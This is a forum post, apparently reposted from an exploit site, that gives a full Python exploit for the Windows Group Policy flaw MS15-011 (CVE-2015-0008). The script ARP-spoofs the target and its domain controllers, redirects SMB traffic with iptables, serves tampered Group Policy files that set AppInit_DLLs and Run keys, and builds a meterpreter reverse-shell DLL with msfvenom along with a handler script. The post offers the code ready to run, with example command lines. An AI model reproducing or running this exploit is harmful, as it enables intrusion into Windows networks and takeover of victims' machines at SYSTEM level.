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Microsoft Windows Server 2012 - (Group Policy) Remote Code Execution Exploit

#1
Microsoft Windows Server 2012 - (Group Policy) Remote Code Execution Exploit


Kod:
# Exploit Title: Microsoft Windows Server 2012 - 'Group Policy' Remote Code Execution
# Exploit Author: Thomas Zuk
# Version: Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012,
# Windows RT, Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1
# Tested on: Windows 7 , Windows Server 2012
# CVE : CVE-2015-0008
# Type: Remote
# Platform: Windows

# Description: While there exists multiple advisories for the vulnerability and video demos of
# successful exploitation there is no public exploit-code for MS15-011 (CVE-2015-0008). This exploit code
# targets vulnerable systems in order to modify registry keys to disable SMB signing, achieve SYSTEM level
# remote code execution (AppInit_DLL) and a user level remote code execution (Run Keys).

#!/usr/bin/python3

import argparse
import os
import subprocess
import socket
import fcntl
import struct

# MS15-011 Exploit.
# For more information and any updates/additions this exploit see the following Git Repo: https://github.com/Freakazoidile/Exploit_Dev/tree/master/MS15-011
# Example usage: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -i eth1
# Example usage with multiple DC's: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -d 172.66.10.11 -d 172.66.10.12 -i eth1
# Questions @Freakazoidile on twitter or make an issue on the GitHub repo. Enjoy.

def arpSpoof(interface, hostIP, targetIP):
   arpCmd = "arpspoof -i %s %s %s " % (interface, hostIP, targetIP)
   arpArgs = arpCmd.split()
   print("Arpspoofing: %s" % (arpArgs))
   p = subprocess.Popen(arpArgs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

   
def karmaSMB(hostIP):
   print("reverting GptTmpl.inf from bak")
   os.system("cp GptTmpl.inf.bak GptTmpl.inf")
   appInit = 'MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs=1,"\\\\%s\\SYSVOL\\share.dll"\r\n' % (hostIP)
   CURunKey = 'MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Key=1,"rundll32.exe \\\\%s\\SYSVOL\\share.dll",1\r\n' % (hostIP)
   f = open("GptTmpl.inf","a", encoding='utf-16le')
   f.write(appInit)
   f.write(CURunKey)
   f.close()
   
   path = os.getcwd()
   
   fConfig = open("smb.conf","w")
   fConfig.write("ini = "+path+"/gpt.ini\ninf = "+path+"/GptTmpl.inf\ndll = "+path+"/shell.dll\n")
   fConfig.close()

   karmaCmd = "python karmaSMB.py -config smb.conf -smb2support ./ "
   os.system(karmaCmd)


def iptables_config(targetIP, hostIP):
   print('[+] Running command: echo "1" > /proc/sys/net/ipv4/ip_forward')
   print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
   print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
   print('[+] Running command: iptables -t nat -A POSTROUTING -j MASQUERADE')
   os.system('echo "1" > /proc/sys/net/ipv4/ip_forward')
   os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
   os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
   os.system('iptables -t nat -A POSTROUTING -j MASQUERADE')


def get_interface_address(ifname):
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])

def generatePayload(lhost, lport):
   print("generating payload(s) and metasploit resource file")
   msfDll = "msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=%s lport=%s -f dll -o shell.dll" % (lhost, lport)
   os.system(msfDll)
   msfResource = "use multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset lhost %s\nset lport %s\nset exitonsession false\nexploit -j\n" % (lhost, lport)
   print("metasploit resource script: %s" % msfResource)
   print ("metasploit resource script written to meta_resource.rc type 'msfconsole -r meta_resource.rc' to launch metasploit and stage a listener automatically")
   
   file = open("meta_resource.rc", "w+")
   file.write(msfResource)
   file.close()
       


if __name__ == '__main__':

   parser = argparse.ArgumentParser()

   # Add arguments
   parser.add_argument("-t", "--target_ip", help="The IP of the target machine vulnerable to ms15-011/14", required=True)
   parser.add_argument("-d", "--domain_controller", help="The IP of the domain controller(s) in the target domain. Use this argument multiple times when multiple domain contollers are preset.\nE.G: -d 172.66.10.10 -d 172.66.10.11", action='append', required=True)
   parser.add_argument("-i", "--interface", help="The interface to use. E.G eth0", required=True)
   parser.add_argument("-l", "--lhost", help="The IP to listen for incoming connections on for reverse shell. This is optional, uses the IP from the provided interface by default. E.G 192.168.5.1", required=False)
   parser.add_argument("-p", "--lport", help="The port to listen connections on for reverse shell. If not specified 4444 is used. E.G 443", required=False)

   args = parser.parse_args()

   # Check for KarmaSMB and GptTmpl.inf.bak, if missing download git repo with these files.
   print ("checking for missing file(s)")
   if not os.path.isfile("karmaSMB.py") and not os.path.isfile("GptTmpl.inf.bak"):
       print("Requirements missing. Downloading required files from github")
       os.system("git clone https://github.com/Freakazoidile/MS15-011-Files")
       os.system("mv MS15-011-Files/* . && rm -rf MS15-011-Files/")

   # Get the provided interfaces IP address
   ipAddr = get_interface_address(args.interface)

   if args.lhost is not None:
       lhost = args.lhost
   else:
       lhost = ipAddr

   if args.lport is not None:
       lport = args.lport
   else:
       lport = '4444'
   

   dcSpoof = ""
   dcCommaList = ""
   count = 0
 
   # loop over the domain controllers, poison each and target the host IP
   # create a comma separated list of DC's
   # create a "-t" separate list of DC's for use with arpspoof
   for dc in args.domain_controller:
       dcSpoof += "-t %s " % (dc)
       if count > 0:
           dcCommaList += ",%s" % (dc)
       else:
           dcCommaList += "%s" % (dc)

       arpSpoof(args.interface, dc, "-t %s" % (args.target_ip))
       count += 1

   # arpspoof the target and all of the DC's
   arpSpoof(args.interface, args.target_ip, dcSpoof)

   # generate payloads
   generatePayload(lhost, lport)

   # Setup iptables forwarding rules
   iptables_config(args.target_ip, ipAddr)

   #run Karmba SMB Server
   karmaSMB(ipAddr)
   
   
   print("Targeting %s by arp spoofing %s and domain controllers: %s " % (args.target_ip, args.target_ip, args.domain_controllers))
   print("If you interupt/stop the exploit ensure you stop all instances of arpspoof and flush firewall rules!")

#  0day.today [2019-11-10]  #
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